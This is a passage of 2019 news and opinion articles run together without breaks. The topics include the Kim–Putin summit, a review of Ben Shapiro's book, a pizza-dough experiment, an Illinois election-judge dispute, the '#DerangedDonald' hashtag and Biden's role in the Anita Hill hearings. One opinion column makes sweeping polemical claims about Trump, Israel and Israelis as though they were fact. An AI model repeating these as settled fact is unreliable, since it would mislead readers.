the American side about his position." Kim's visit to Vladivostok, which ended Friday, was his first trip to Russia since becoming leader in 2011. The summit was seen as an effort to demonstrate to the U.S. and its allies that North Korea has alternative sources of diplomatic support after President Donald Trump walked out of his second meeting with Kim in February without a disarmament deal. Trump said North Korea offered too little to warrant lifting sanctions. A State Department spokesman said late Thursday that the U.S. would continue to closely coordinate with its allies and partners to achieve the "final, fully verified denuclearization of North Korea." By meeting Putin, Kim received the political and diplomatic support from an ally who is willing to challenge Washington and agrees with North Korea's views on denuclearization, said a former South Korean ambassador to Russia. "Russia views that sanctions should be flexible, so that is similar to North Korea's view," said Wi Sung-lac, a former South Korean ambassador to Russia and envoy to six-party nuclear talks with North Korea. "It also believes that using pressure only as a means of negotiations is not desirable." In the days before the Kim-Putin summit, North Korea had complained that intermediaries to Trump -- ranging from U.S. Secretary of State Michael Pompeo to the South Korean government -- aren't getting his message across. While Russia extended the invitation to Kim almost a year ago, the North Korean leader only accepted after the Hanoi talks with Trump broke down. "Chairman Kim Jong Un himself asked us to inform the American side about his position," Putin told reporters after more than three hours of talks on a university campus in the Russian port city of Vladivostok. "There are no secrets here. We will discuss this with the Americans and our Chinese partners," Putin said before leaving for Beijing. Kim laid flowers at a memorial for Soviet soldiers killed in World War II and met with local officials before departing Vladivostok Friday afternoon. For Putin, hosting Kim gave him a chance to remain a player in a security dispute shaped mainly by the U.S. and China. The Russian leader accepted Kim's invitation to visit Pyongyang "at a convenient time," KCNA said. "Kim Jong Un said that the situation on the Korean peninsula and the region is now at a standstill and has reached a critical point where it may return to its original state as the U.S. took an unilateral attitude in bad faith at the recent second DPRK-U.S. summit talks," KCNA said, referring to North Korea's formal name. "Peace and security on the Korean peninsula will entirely depend on the U.S. future attitude, and the DPRK will gird itself for every possible situation." Kim had told North Korea's parliament in a speech this month that he would wait until the end of the year for the U.S. to change its position. While that means more time under punishing international sanctions, it also gives Kim space to continue developing his nuclear weapons program. Meanwhile, the U.S. rejected a 2017 North Korea request for payment before the release of detained American student Otto Warmbier, a person familiar with the matter told Bloomberg News on Thursday. Earlier, the Washington Post had reported that North Korea presented the U.S. with a $2 million medical bill before allowing Warmbier to be flown to the U.S., where he later died. The Russian trip advanced Kim's efforts to break his country's isolation. After ruling for six years without leaving home, he's visited five nations since his rapprochement with Trump, including China, Russia, Singapore, Vietnam and a short walk over the South Korean border. Neither side released details of what was discussed at the Vladivostok meetings, which appeared cordial. Putin said he shares the U.S. desire to see full denuclearization, but added that North Korea would need security guarantees, most likely international, to protect its sovereignty. He said a return to six-party talks, an arrangement that included Russia and Japan, as well as China, the U.S. and the two Koreas, could be useful for that. Putin suggested a compromise could be possible on North Korean migrant workers in Russia, an important source of income for the Pyongyang government that's due to be cut off at the end of this year under UN sanctions. He didn't elaborate, however. KCNA said the two leader discussed "boosting high-level visits including top-level meeting and contact and developing cooperation, exchange and collaboration between the governments, parliaments, regions and organizations of the two countries in various forms." The talks were conducted in a "unreserved and friendly atmosphere," the news agency said. - - - With assistance from Margaret Talev, Eduard Gismatullin and Jihye Lee. The Right Side of History: How Reason and Moral Purpose Made the West Great By Ben Shapiro Broadside. 256 pp. $27.99 --- Ben Shapiro's "The Right Side of History" opens with a few familiar scolds. We live "in the best world that has ever existed," but we don't know how good we have it, and we're throwing it all away. We're wasting our potential and should be ashamed of ourselves. Despite our countless blessings in "the freest, richest country in the history of the world," Shapiro observes, we've lost faith in democracy, social institutions and, worst of all, one another. We've fallen prey to tribal tunnel vision and racial and economic inequality, but that doesn't explain the breakdown. What has done us in, he insists, is our distance from the ideas that made our success possible. But don't panic; as bad as it is, Shapiro has a fix. To restore meaning to American life, all we really have to do is remember, in appropriate measure, two big things the ancients already figured out. From Athens, we got the supremacy of reason over passion. And from Jerusalem, we got God's wisdom to satisfy a soul aching for deeper answers that reason alone can't supply. In a tacit tribute to political philosopher Leo Strauss, Shapiro argues that it took a tender balance between these two pillars to lift the West to its lofty place. And to show the long span of history that got us here, he surveys a head-spinning succession of movements and philosophies, from Plato and Aristotle to his own debates with atheist philosopher Sam Harris. He credits certain thinkers who get the Athens-Jerusalem balance right and help further Western greatness, among them, Fyodor Dostoyevsky, Edmund Burke and, implicitly, himself. And he indicts those who got it wrong for contributing to history's failures, the French Revolution, Nazism and to the campus left, whose opposition to Shapiro's views has helped propel his fame. Shapiro, author of "Brainwashed: How Universities Indoctrinate America's Youth" (2004) and "Porn Generation: How Social Liberalism Is Corrupting Our Future" (2005), is a conservative polemicist with a powerful new media presence and a Harvard law degree. An online audience of millions looks to his YouTube channel and Twitter feed for an unrelenting stream of counterarguments to combat the cultural dominance of the left. Shapiro covers a lot of ground in fewer than 220 pages of text. However, as he lays out his historical survey, his case weakens when he nears the present day. He manages, in a single sweeping passage, to blame Karl Marx and New Left theorist Herbert Marcuse for a variety of modern social ills: pediatrician Benjamin Spock's once-revolutionary precepts on child care, the insidious self-esteem of the Me Generation and the influence of Barney the purple dinosaur who, in Shapiro's view, was wrong to have told so many ordinary children that they were special. These complaints come in a chapter called "The Return to Paganism," which opens with Shapiro recounting his appearance on a cable talk show panel on transgenderism. On the air, Shapiro conveyed his view that "a society that refuses to acknowledge the biological differences between men and women is engaging in knowing falsehood." His remarks ignited the ire of fellow panelist Zoey Tur, who is transgender. After exchanging some rough words, Shapiro incited Tur by asking, "What are your genetics, sir?" A fracas ensued. Shapiro's audience is predominantly millennial men. As his author bio notes, he is "the nation's most requested campus speaker." Shapiro, an orthodox Jew, was editor at large for Breitbart News until his public split from the far-right website in 2016. Since then, he has sharpened his brand as a "principled gladiator," in the words of conservative journalist David French, to counter what he has called the racist and anti-Semitic slant of the alt-right. His message, which is a reductive gloss of intellectual history synthesized for easy digestion, seems primarily aimed at equipping his readers to lecture their friends and talk over their teachers. Throughout much of the latter third of this slim book, Shapiro battles with Harvard professor Steven Pinker over his embrace of Enlightenment philosophy. Pinker's promotion of an Enlightenment framework of moral reason, in Shapiro's view, misguidedly discounts God. As Shapiro sees it, Pinker espouses a religious belief, without meaning to when he claims you can reason your way to the Golden Rule. "His statement that reason tells you all other human beings are human," Shapiro writes, "and therefore you have a responsibility to treat them as you would treat yourself is effectively a (BEGIN ITAL)religious appeal(END ITAL), not a reasoned argument." Enlightenment revivalists such as Pinker and Harris, both of whom reject a religious moral framework in favor of a reasoned one, are wasting precious time they could be investing in the two-pillared program for a return to meaning, Shapiro contends. But the pages Shapiro spends on his ideological opponents would be better used by a narrative proof of his main point - which isn't just the Straussian balancing act between Athens and Jerusalem that frames the book's arguments. But, more basically, the fact that "people need meaning," as Shapiro puts it -more than they need reasoned argument. Here I happen to agree. But Shapiro's book, I'm afraid, would not have convinced me, if I weren't already in that camp. He praises a few great men for having found the ideal balance between Athens and Jerusalem over the centuries. Dostoyevsky gets high marks. Shapiro turns to Dostoyevsky's novel "The Brothers Karamazov" and plucks out the poem "Grand Inquisitor." In the book, the brainiest of the brothers recites the poem as a repudiation of organized religion. In the telling, Jesus touches down in Seville, Spain, at the time of the Inquisition but he's detained and rejected by the church's top potentate, who has a message for him. The masses, the inquisitor says, have plunged away from meaning toward materialism, and they need an authoritarian church to keep them in line more than they need a refresher on Christian morality. For Shapiro's purposes, the tale's take on humanity describes the godless destiny the West has chosen for itself, under the influence of the "dark side of the Enlightenment." Readers who've come to Shapiro for answers might be better served by the whole of the novel. "The Brothers Karamazov" makes a much meatier argument for religious morality than this one sinister passage. Plus, it's a pretty wild murder mystery. And its best characters are a hard-partying gambler and his hooker girlfriend, who has more moral sense than all the Karamazovs put together: Kind of like the quest for moral meaning, it's complicated. Mostly, though, Shapiro disapproves of anyone - existentialist philosopher Jean-Paul Sartre, socialist novelist Sinclair Lewis, feminist journalist and activist Gloria Steinem - who has challenged the dual supremacy of religious morality and pure reason. Twentieth-century rebels kicked over both pillars and let society tumble away into revolution and countercultural excess, of which Shapiro also disapproves. He argues that despite the destructive rebellious left, Cold War capitalism was on track to "produce a more cultured America - and a more tolerant America." And that's where we'd be today, he believes, if the counterculture hadn't come along and turned the youth against the conformists who begat them. "Only acts of rebellion could destroy the system within," Shapiro writes, paraphrasing free-love philosopher Marcuse, and sounding not unlike John Lithgow as the preacher in "Footloose." "Rebellion in sex," Shapiro continues. "Rebellion in art; rebellion in work; rebellion everywhere." A brief concluding chapter proposes a program to reverse Western civilization's centuries-long slide from meaning and centers on an effort to teach children, as the Shapiros do theirs, that our society is great and our debt to it is also great. He insists that children must be taught that everyone has a soul and that each of us must boldly make the most of life. We don't know whether the kids are getting the message. But the Shapiro syllabus suggests another takeaway: Get meaning-starved youth good and steeped in great literature - and the meaning within it will be hard to miss. As an ideological refresher on what the West got right, Shapiro's book gets the job done. But mostly it makes you want to assemble a reading list for college-age conservatives - a class of young men and women, but mostly men, whom P.J. O'Rourke once memorably called "larval Republicans." Dostoyevsky might not be a bad place to start. --- Lloyd, a former staff writer at the Weekly Standard, is a writer in Washington, D.C. Patience may be a virtue, but the digital age has all but killed it. Speed is the new patience. Everything must move faster and with more efficiency: computers, customer transactions, home deliveries, recipes, you name it. We live in the Instant Pot Era. Like practically everything else, pizza dough has bowed to the will of speed. You can find plenty of sources that promise quick dough or basic dough, and, yes, the recipes will produce a serviceable pizza base in a matter of hours. The resulting crust will ferry your selected toppings with no problem, but it won't provide much flavor, at least not the deep, complex kind that comes from extended fermentation. In the universe of good pizza - a subgenre of the good bread family - flavorful dough requires that you revive your patience, a practice sacrificed long ago to the gods of 21st-century electronics. "Great bread makers intuitively understand that the key to making world-class bread from flour, water, salt and yeast is to draw out the natural sweetness trapped in the complex carbohydrates" in flour, writes Peter Reinhart, the award-winning baker and educator, in "American Pie: My Search for the Perfect Pizza." "This takes time," Reinhart adds. How much? That's one thing I sought to show with this 48-hour exercise in dough fermentation. For the dough, I relied on one by Andrew Feinberg, the chef and co-owner behind Franny's, the beloved Brooklyn pizzeria that closed in 2017. The dough requires only all-purpose flour, salt, cold water and dry active yeast. (The recipe can be found in "Franny's: Simple Seasonal Italian.") Even with such limited ingredients, the dough showed a significant range of flavor, depending on the fermentation. (Note: All of this applies to wheat doughs.) - - - Two hours The two-hour dough sat on the counter of a warm kitchen for two hours, often the minimum amount of time recommended for quick pizza dough. You'll notice it has not risen much, nor are there telltale craters on the surface that indicate the yeast is doing its thing. Reinhart explains that fermentation requires at least five hours for enzymes to free up sugars in the complex carbohydrates. Two hours simply didn't give the yeast enough sugars to turn into alcohol and carbon dioxide; the latter is what gives dough its lift. When I baked the dough (sans sauce and cheese) on a pizza stone in a 500-degree oven, it produced a crispy crust with few air pockets and little browning. The flavor was crackerlike. It tasted mostly of flour. - - - 12 hours The 12-hour dough was also fermented on the counter at room temperature. Clearly, the yeast has gone on a feeding frenzy to Flavatown. In fact, professional bakers might say the yeast has fed on too many sugars. The surface is riddled with craters, signs of carbon dioxide release. And the dough would have overflowed the edges of the bowl if not for the plastic wrap holding it in place. The problem with such uncontrolled fermentation is that the yeast leaves few sugars that can contribute to the flavor of the crust. (Alcohol, I should note, is mostly burned off during the bake.) When I baked this dough, the crust was as crackerlike as its two-hour cousin, with a tad more complexity, perhaps the result of whatever flavors had not been cooked off or fermented out of existence. - - - 24 hours All the finest bakers and pizza makers will tell you the same thing: To control and slow fermentation, refrigerate the dough. You can see evidence of this in the 24-hour dough. Even though it was fermented twice as long as the 12-hour batch, it has not expanded nearly as much. Here's the important thing about slow fermentation: Enzymes continue to free up sugars, but the yeast just does not consume them at the same rate as with the 12-hour, room-temperature dough, so fewer sugars are converted to carbon dioxide and alcohol. When the 24-hour dough was baked, the undigested sugars gave the crust a natural sweetness - or more like an aftertaste of sweetness, far more subtle than the saccharine quality that added sugars or honey can sometimes impart to a dough. The residual sugar also helped brown the crust as those sugars caramelized in the oven, creating a pie appetizing to the eye and the taste buds. - - - 48 hours After 48 hours in the fridge, the dough has more than doubled in size, but it has not overflowed the bowl. The air pockets indicate that the yeasts, while busy, have been too slowed by cold temperatures to gobble up every sugar molecule in sight. It's worth mentioning that author Harold McGee, whose "On Food and Cooking" is considered the last word on kitchen chemistry, says it takes yeast "10 times longer to raise bread in the refrigerator than at warm room temperature." When this round came out of the oven, it looked like crust should: browned and puffy. If the crust based on the 24-hour dough had a suggestion of sweetness, this time it was noticeable, which would lead you to surmise that the enzymes continued to produce sugars faster than the yeast could consume them. What's more, the slow, cool fermentation, as McGee points out, allowed both "yeasts and bacteria more time to generate flavor compounds," which explains why this round had more depth of flavor than any one before it. If this experiment proves anything, it's that speed kills good pizza dough. Or, to say it another way, great pizza rewards patience. By Lawrence Davidson Attacking the Progressive Past April 24, 2019 " Information Clearing House " - The election of Donald Trump in 2016 and the re-election of Benjamin Netanyahu in 2019 occurred under different circumstances, and yet they are very similar in their results. They both put an authoritarian figure in power through democratic electoral procedures. As well, both of these figures, like so many modern reactionary leaders before them, denigrate the recent past. Why do they do so? In the case of Donald Trump, the past he despises is the 1960s, with its progressive civil rights legislation. The laws passed at this time pushed the white supremacy model out of the public realm. Trump. in practice, has proven to be a white supremacist and an extreme nationalist. Most of his core voting base adheres to these ideas as well. This worldview demands that he undo through presidential orders and future decisions of the U.S. Supreme Courtthe progress toward equalitarianism and a multicultural society symbolized by the election of Americas first African-American president, Barack Obama. Trump also wants to Make America Great Again by acting on the basis of national power alonethus destroying along the way any number of alliances and treaties enshrining human rights and progressive international law. Of course, these ambitions alone are not exactly why he was elected. Trumps racist core is too small to have elected him by themselves. He was elected because too many Americans did not want to vote for Hillary Clinton in 2016whom they saw as a status quo candidateand Trump was the GOP alternative. It may well be that a good number of the electorate who voted for Trump had no idea of what sort of person they were supporting. By now they should have no doubt. In the case of Benjamin Netanyahu, the story is an even odder one. The past that Netanyahu rejects is the one designed after World War II to criminalize behaviors such as the waging of aggressive war, genocide, and apartheid. Some of these behaviors had for centuries threatened European Jews. Netanyahu, and those who voted for him, no longer identify with the suffering of their European ancestors. Israel is now a strong, aggressive, land-hungry power much like 19th century Russia and Germany. Many Israeli Jews are also, like Donald Trumps core supporters, ethnic racists and supremacists. Tired Of The Lies And Non-Stop Propaganda? Get our FREE Daily Newsletter Netanyahus problem is that the post-World War II international laws and treaties seeking to prevent aggressive nationalism, racism, and the oppression of minorities now stand in the way of Israeli ambitions. So, oddly, the only way Israel can realize its Zionist ambitions while also being seen as a normal countryone that is in tune with the international community is by changing international norms. That is, Isreal now seeks to undermine the progressive international environment that was, in good part, designed to protect the remnants of European Jews. And it would seem, many of those who voted for Netanyahu knew exactly what sort of society they were endorsing. Trump and Netanyahu both stand against minority members of their societies, and through such postures rally a dangerous core base. They are not alone. The nations of the world are increasingly led by reactionary thugs in suits, many of them popularly elected. They are all Pied Pipers leading their populations backwardresurrecting the pre-progressive past in present tense. Their destination is an environment that, historically, we have enough negative experience to want to avoid. Yet we follow these leaders anyway. To paraphrase Shakespeare in Julius Caesar, it is a case of blind citizens governed by lethal idiots. Part IIMultiplying Casualties Evidence of this rush to the rear can be found in a partial list of the rights being undermined and the individuals being attacked: A. Attack on a Free Press The editor of Wikileaks, Julian Assange, is in prison in the UK after losing his seven-year-long asylum status at the Ecuadorian embassy in London. He will now have to fight extradition to the U.S. where he is wanted for posting on the web shocking evidence of shocking American barbarism in Iraq, as well as other embarrassing revelations. Assange has been charged for alleged conspiracy with whistleblower Chelsea Manning under the Computer Fraud and Abuse Act. The indictment also describes routine journalistic interactions with sources as evidence of conspiracy. Thus, the ability to use an encrypted chat messenger or try to keep a sources identity anonymous are portrayed as criminal in nature by the Trump Justice Department. By the way, that same Justice Department will argue that the nature of the leaked information, revealing the brutal and sometimes criminal behavior of the U.S. military, is irrelevant to the charge against Assange and therefore is inadmissible in court. The larger problem with this attack on Assange is that his alleged conspiring to publish information gathered in this fashion is something reporters and newspaper editors do all the time. It is the essence of foundational investigative journalism, and as such the case against Assange is a threat to freedom of the press. In the meantime, the Israelis have stepped into the act by falsely asserting that Assange is a longtime anti-Semite. Chelsea Manning, Assanges alleged co-conspirator, is also back in jail. She is being held in contempt of a grand jury subpoena seeking to force her to testify about Assange and Wikileaks. B. Attack on Free Speech The U.S. Congress, as well as some twenty-seven state legislatures, are attacking freedom of speech by attempting to outlaw the Boycott, Divestment and Sanctions (BDS) movement. House Resolution 246 and Senate Resolution 120, both of which identify criticism of the Israeli state with anti-Semitism (which is the equivalent of mistaking apples for oranges), have now been introduced and, though patently unconstitutional because they undermine the First Amendment of the U.S. Constitution, may be passed into law any way. This subversive action is being carried out at the urging of American Zionists. The Zionists, in turn, are doing this to defend Israel, an apartheid state and violator of international law. So much for the devotion of legislators to the U.S. Bill of Rights in the face of strong lobbies. The Trump administration has simultaneously decided to refuse a visa for Omar Barghouti, a co-founder of the BDS movement. Mr. Barghouti has been accused by Zionists such as U.S. Congressman Lee Zelden of being filled w/ anti-Israel & anti-Semitic hatred. As someone who is personally acquainted with Mr. Barghouti, I can testify that this is absolutely untrue. I can also attest that he, as a victim of Israeli apartheid, has no patience with racists. It should be pointed out that the tactics used by American and Israeli Zionists not only have a corrupting effect on the U.S. Congress, state legislatures, and the Constitution itself, but also sully Jews in the aggregate and the and the Jewish religion. They do so by insisting that support for the self-aggrandizing, racist political ideology of Zionism is part of the definition of being Jewish. C. Attack on International Law The Trump administration has now expressed its disdain for international law by threatening the judges and investigators of the International Criminal Court (ICC) and refusing visas to those associated with the court even when they simply seek to carry out their duties at the United Nations in New York. The United Nations maintains another headquarters in Geneva, Switzerland, and ICC business with the UN may now take place there. Part IIIWhy Recent Progress is Threatened How is it that after making such progressive strides, we now see them threatened? In the U.S. case, part of the answer is that, in the age of the patriarchal nation-state, progressive issues such as multicultural equalitarianism, feminism, gay rights, immigrant rights, and the like are not cultural positions easily sustained. The Civil Rights Movement was successful not just because its leaders formed a strong political coalition, but because their cause proved an important one within the Cold War struggle of the time. In turn, its success did encourage other progressive movements to push their agendas, and the resulting collective social pressure within the U.S. created a smoldering undercurrent of white ethnic resentment. That resentment has now broken out in what is known as a culture war. This culture war has serious political consequences and reflects a polarized nation. Correspondingly, the number of moderates or centrists who are politically active has shrunk. On the conservative side, this polarization has destroyed the traditional Republican Party and replaced it with a rightwing extremist rump party led by Donald Trump. It is this essentially purged Republican Party that now leads the fight to destroy the progressive domestic achievements of the recent past. The Democratic Party has so far remained intact. However, that does not necessarily give it political advantage. The partys leaders have alienated large sections of their once loyal liberal supporters. They continue to direct their political messages to a centrist audience whose numbers are declining. In other words, the party is poorly led and awash in internal dissension. This is a poor position from which to defend, much less further promote, Americas progressive domestic legacy. The one thing the United States does have going for it is a fairly large number of well-educated citizens who are aware that their country has a constitution and a bill of rights that are integral to the character of the nation. Appeals to these documents provide, at least in theory, the basis for progressive legislation and policies. When we turn to Israel, we find little or no regard for the countrys Basic Laws that stand in for a constitution. Also, despite all the play given to the Holocaust, many Israelis have a real disdain for Jewish behavior relative to that event. Indeed, Jews who lost their lives in the Holocaust are often a source of shame for todays Israelis. This is because, allegedly, they did not put up a sufficient fight against their genocidal persecutors. The fact that the fate of modern European Jewry helped underwrite much of the universal human rights treaties and related international law is not something the majority of Israelis celebrate. As suggested above, modern Israels response to European Jewish history was to become a warrior state. That is what it is at present, and as such it celebrates the sense of superiority that is so often harbored by warriors, and drives their ambitions of conquest and domination. Part IVConclusion It would seem that we are in a decisive struggle that will determine the shape of our future. Will it be reactionary or progressive in nature? Organized conservatism has evolved into a reactionary force throughout much of the West, and the hard-fought-for, progressive aspects of our world are in serious danger. The fate of Donald Trump, the U.S.s ersatz Mussolini, in the 2020 election might be a pivotal moment in this struggle. In the meantime the struggle seems over in Israelthe reactionaries have won. Lawrence Davidson is a retired professor of history from West Chester University in West Chester, Pennsylvania. He is the author of Islamic Fundamentalism, Cultural Genocide and has focused his academic research on American foreign relations with the Middle East. https://tothepointanalyses.com Do you agree or disagree? Post your comment here ==See Also== Note To ICH Community We ask that you assist us in dissemination of the article published by ICH to your social media accounts and post links to the article from other websites. Thank you for your support. Peace and joy A candidate for the Chandlerville village board served as an election judge in a precinct in which she was on the ballot April 2, a fact the Cass County clerk has said was a mistake. A complaint was filed with the Cass County clerks office and communicated in a letter to the Illinois State Board of Elections alleging that then-candidate Penny Meyer, who was elected to the Chandlerville Board of Trustees, served as an election judge in one of the two precincts voting for the board. The complaints were made by another candidate for the village board, Hal Carlock, who was narrowly defeated by Meyer. In his April 8 letter to the board of elections, Carlock said he does not dispute the vote totals. I do dispute the legality of a candidate on the ballot serving as an election judge. Penny Meyer was on the ballot for trustee and served as a judge, he wrote. Whether or not Pennys presence at the judges table influenced voters is unknown. Meyer declined to comment on the complaint. Clerk Shelly Wessel said her office will work to ensure that situation doesnt happen again. I have readily admitted to the error that happened by oversight and not intention, she said. Kenneth Menzel, general counsel at the Illinois State Board of Elections, replied to Carlocks letter April 16 and acknowledged the statutory provision that was the basis of his concern candidates are barred from serving as election judges. Ive discussed the situation with the county clerk, and she acknowledged that it was a mistake to have this judge serve (or at the very least, not to assign the judge of election to a precinct where she did not appear on the ballot), Menzel wrote. She indicated that attention would be paid going forward to avoid a repeat of such an error. The letters sent by Carlock and Menzel were provided to the Journal-Courier by the board of elections. Menzel wrote, despite the issue with Meyers role, there had been no reports of any improper behavior. Your letter did not assert that the judge of election in question engaged in any improper behavior relating to the conduct of the election in the polling place, Menzel wrote. The county clerk advised me that her office did not receive any such complaints. County clerks are generally the election authority for consolidated elections in Illinois. In a tight race, Carlock received 61 votes and Meyer received 64 votes for the third village trustee seat. Ronnie Pherigo and Roy Brown took the other two open seats with 93 votes and 89 votes, respectively. Aaron Briar received 12 votes. Carlock described, in his letter to the board of elections, hearing from other people the next day that a fellow candidate had been an election judge. He had voted at the courthouse. According to Carlock, he spoke to Wessel later in the week and contends that she knew in advance that Meyer would serve as a judge while also being on the ballot. He gave a copy of a written complaint to Wessel at that time. He wrote to the board of elections that he hoped his complaint would shed light on the abuse of the law displayed by the County Clerks office and be cause for more concern and respect for the laws governing future elections. WASHINGTON - In President Donald Trump's world, people may come and go, but nicknames are forever. Whether they are "Crooked," "Crazy," "Lyin' " or "Little," it appears that Trump has made it his personal mission to saddle his numerous rivals over the years with unflattering monikers, seizing any opportunity to deploy the epithets to the masses. On Thursday, however, Trump found himself in a rather unusual position in his war of words - receiving a nickname. In a series of early-morning tweets, prolific Trump critic George Conway, husband of White House counselor Kellyanne Conway, once again raged against the president. But instead of using Trump's name, Conway repeatedly called him "Deranged Donald," seemingly irked by a Washington Post story about the president promoting a widely debunked accusation that the United Kingdom helped the Obama administration spy on his 2016 campaign. Conway then turned the alliterative sobriquet into a hashtag. "It seems that George Conway wants to get the hashtag #DerangedDonald trending," MSNBC producer Kyle Griffin pointed out. The internet went to work. It didn't take long for the hashtag to begin shooting up the list of Twitter trends, and it was eventually trending in the No. 2 spot worldwide. By late Thursday, the hashtag had been mentioned hundreds of thousands of times. As many celebrated the hashtag's success, others praised Conway for giving the internet a nickname for Trump that seemed like it would "stick." Trump has yet to directly address Conway's tweets and the hashtag. The White House did not respond to a request for comment late Thursday. The swiftness with which the hashtag took off marks yet another example of the president's critics adopting his tactics. In the Trump era, political discourse has become increasingly characterized by public figures, including elected officials from both sides of the aisle, trading barbs on social media and lampooning each other whenever cameras are rolling. Calls for civility have been tossed aside in favor of a modified version of Michelle Obama's famed, "When they go low, we go high" edict. "When they go low, we kick them," former Attorney General Eric Holder declared proudly in October last year. In 2017, Rep. Ted Lieu, D-Calif., offered a similar take on the former first lady's words. "My view now is that when they go low, we fight back," Lieu told the Los Angeles Times. Conway, a prominent conservative attorney, is one person who hasn't shied away from tangling with the president. Launching the nickname on Thursday was just Conway's latest move in his ongoing public spat with his wife's boss, which has often involved both parties resorting to ugly name-calling. "Deranged Donald is ... back at it again," Conway tweeted, sharing The Post's Wednesday story. In subsequent tweets, Conway ripped Trump for not reading "books with more accurate, highly valuable, top secret information," adding that the president "doesn't like those books unless they have lots of pictures and tell him how great he is." Conway concluded his rant by suggesting Trump doesn't need the books because he has Fox News. But it wasn't Conway's scathing criticism that caught the attention of Twitter users. "I've never wanted anything to trend more than #DerangedDonald," one person wrote. "Perfect name," another person commented. Soon, the hashtag seemed to be everywhere. Even prominent figures such as former U.S. Attorney Preet Bharara, Star Wars actor Mark Hamill and actress Mia Farrow jumped in to promote the moniker. CNN commentator Ana Navarro-Cardenas simply fired off a tweet with the hashtag repeated 16 times, a strategy quickly adopted by many other users, including Paul Begala, a former adviser to President Bill Clinton. The nickname didn't sit well with everyone, though, as some criticized using it as "childish." This is not the first time someone has attempted to give Trump a nickname. The president himself has even tried, once abbreviating his name to "President T." In 2016, comedian John Oliver encouraged people to call Trump "Drumpf," which was believed to be the surname of the president's ancestors, The Post's Justin Wm. Moyer reported at the time. Last year, Trump adversary and high-profile attorney Michael Avenatti launched a Twitter poll asking his followers to choose between "Con Man Trump" and "Don the Con." As Newsweek reported, "Don the Con" won with thousands of votes and has since been used by Avenatti as well as many other critics. A handful of people on Thursday said they preferred the rhyming nickname, but others conceded that "Deranged Donald" reigned supreme. WASHINGTON - About 90 minutes into Anita Hill's testimony on Oct. 11, 1991, Joe Biden had a choice to make. To cast doubt on her sexual harassment allegations against Clarence Thomas, Republicans on the Senate Judiciary Committee planned to ask her about a former acquaintance named John Doggett, who said in an affidavit that Hill was prone to romantic delusions and had "a problem being rejected by men she was attracted to." Doggett had not been vetted by the committee, as the rules of the hearing required, and Biden said it would be best not to air his claims until aides interviewed him. But as Republicans applied pressure, Biden was unsure what do - changing his mind five times as colleagues, witnesses and a national television audience watched. "We will wait," Biden said first, only to weigh in moments later with another idea: "Whatever the witness prefers." Hill said to the chairman: "So you are going to make me decide, aren't you?" Biden's handling of Hill's allegations against Thomas and the hearings they incited in 1991 remains one of the most revealing and controversial episodes of his career. In an era when bipartisan support for Supreme Court nominees was more common, the senator from Delaware wanted to run a process that was seen as fair by both sides. But for decades, Democrats have been angered by Hill's treatment by the GOP and conflicted about Biden's performance as chairman.The issue has even more resonance for some Democrats now in the wake of allegations of sexual assault against then-Supreme Court nominee Brett Kavanaugh last year, which led to a similar hearing. Both he and Thomas denied wrongdoing. Interviews with a dozen people with firsthand knowledge and a review of the written record and interviews published with participants over the past three decades reinforce that Biden failed to use the powers afforded to Senate committee chairmen to conduct a judicious and thorough inquiry into Hill's allegations. He did not give full consideration to witnesses whose allegations seemed to corroborate her testimony or curb the attacks and innuendo leveled at her during the hearing. A former Biden lawyer told The Washington Post this month that the Democrats were outmaneuvered by Republicans, whose purpose was to damage Hill. Biden, 76, entered the 2020 presidential race Thursday. Praised by supporters as a champion for women and survivors of sexual assault, the former vice president has faced doubts about his White House bid because of his age, past performance as a candidate and a physical style that has made some women uncomfortable. Critics also have blamed Biden for not apologizing to Hill personally for conducting a hearing they say was not fair to her. Biden called Hill earlier this month to express regrets over her experience, but Hill was unsatisfied with the conversation and did not characterize his comments as an apology, the New York Times reported Thursday. Hill did not respond to calls and emails about their conversation, and Biden's campaign told the Times it would have no further comment. "I still don't think [Biden's response] takes ownership of his role in what happened," she told The Post in a 2017 interview. She declined to be interviewed for this article. "Women were looking to the Senate Judiciary Committee and his leadership to really open the way to have these kinds of hearings," she said. "They should have been using best practices to show leadership on this issue on behalf of women's equality, and they did just the opposite." Biden said Friday that he was sorry for the way Hill was treated but that there was little he could have done differently as chairman."I wish we could have figured out a better way to get this thing done," he said during an appearance on ABC's "The View." "I did everything in my power to do what I thought was within the rules to be able to stop things."Offered several opportunities to personally apologize or take responsibility, he did not."If you go back and look at what I said and didn't say, I don't think I treated her badly. I took on her opposition," he said. The former Biden lawyer, Cynthia Hogan, said in an interview that he approached his role during the Thomas hearings as if he were a neutral arbiter. "What happened is we got really politically outplayed by the Republicans," said Hogan, now vice president for public policy for Americas at Apple. "They came with a purpose, and that purpose was to destroy Anita Hill. Democrats did not coordinate and they did not prepare for battle. I think he would say that that's what should be done differently." Keith Henderson, a friend of Hill's who spent time with her as the hearings unfolded, wondered in an interview this month why Biden had not personally apologized to her. "That's where I fault him," Henderson said in his first comments to the press about the episode. "He should just clear the air and clear his own conscience. . . . I think he's making another mistake in the way he's handling the whole issue." - - - Biden was 48 in 1991, a fourth-term Democratic senator known for his political moderation and what some former Senate aides described as a preoccupation with being liked by members of both parties. As the author of the bill that would become the Violence Against Women Act of 1994, he prided himself on his sensitivity toward women who had been mistreated and used his chairmanship to advocate for their interests. At the end of June, Supreme Court Justice Thurgood Marshall announced that he would retire as the first and only black justice on the high court. President George H.W. Bush responded by nominating the 43-year-old Thomas, also African American, who had served in the Reagan administration and was a judge on the D.C. Circuit Court of Appeals. Over the summer, rumors circulated around Washington that while Hill worked for Thomas at the Department of Education and the Equal Employment Opportunity Commission, he had pressured her for dates and directed their work conversations toward his sexual interests. Thomas, who declined to comment for this article, has vehemently denied harassing Hill or any woman who worked for him. Biden approached the confirmation with a focus on Thomas' judicial philosophy and a desire to avoid questions of ethics or personal conduct. During the battle over Robert Bork's Supreme Court nomination in 1987, polling showed public support for steering clear of personal matters, a Biden aide said a few years later. Biden still had a bitter taste from attacks on his character during the 1988 campaign cycle, when he withdrew as a presidential candidate after facing allegations that he plagiarized part of a speech from a British politician. Hill, then a 35-year-old law professor in Oklahoma, was approached by Democratic Senate staffers and told them about her experiences with Thomas, with the understanding that she would remain anonymous. But Biden's staff told her that they could not circulate her allegations to members of the Judiciary Committee unless they were shared with Thomas, along with her name. Eventually, in response to Hill's frustration, Biden's staff suggested on Sept. 20 that she could alert committee members to her charges by submitting to an FBI investigation in which both she and Thomas would be interviewed. The probe began three days later, after Hill faxed a four-page statement of allegations to Biden's staff. A senior Biden aide said in 1992 that the FBI interviewed "approximately 10 people in about seven different cities in around 48 hours." The final report did not draw conclusions. Biden did not share Hill's statement with Democrats on the committee until hours before the Judiciary Committee deadlocked in a 